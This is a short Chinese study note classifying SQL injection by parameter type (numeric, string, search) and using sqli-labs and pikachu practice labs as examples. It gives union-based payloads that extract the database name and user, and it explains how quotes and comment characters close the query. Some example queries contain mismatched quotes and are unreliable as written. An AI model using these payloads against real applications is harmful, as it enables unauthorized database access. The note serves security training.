sql参数类型注入
参数类型注入(三种)
1,数字型 (sqli_labs Less2)
select * from tony where id=1
select * from tony where id=-1 union select 1,database(),user()
ID:-1 union select 1,database(),user()
2,字符型(sqli_labs Less1)
select * from tony where id="tony'
select * from tony where id='-1 ' union select 1,database(),user()--+
ID:-1' union select 1,database(),user()--+
3,搜索型(pikachu)
原始Mysql语句:select username,id,email from member where username like '%1%'
payload:1%' union select 1,database(),user() #
select * from tony where tony like id='%1%' union select 1,database(),user() # %'
1为输入内容,%'闭合前面语句,#为注释后面内容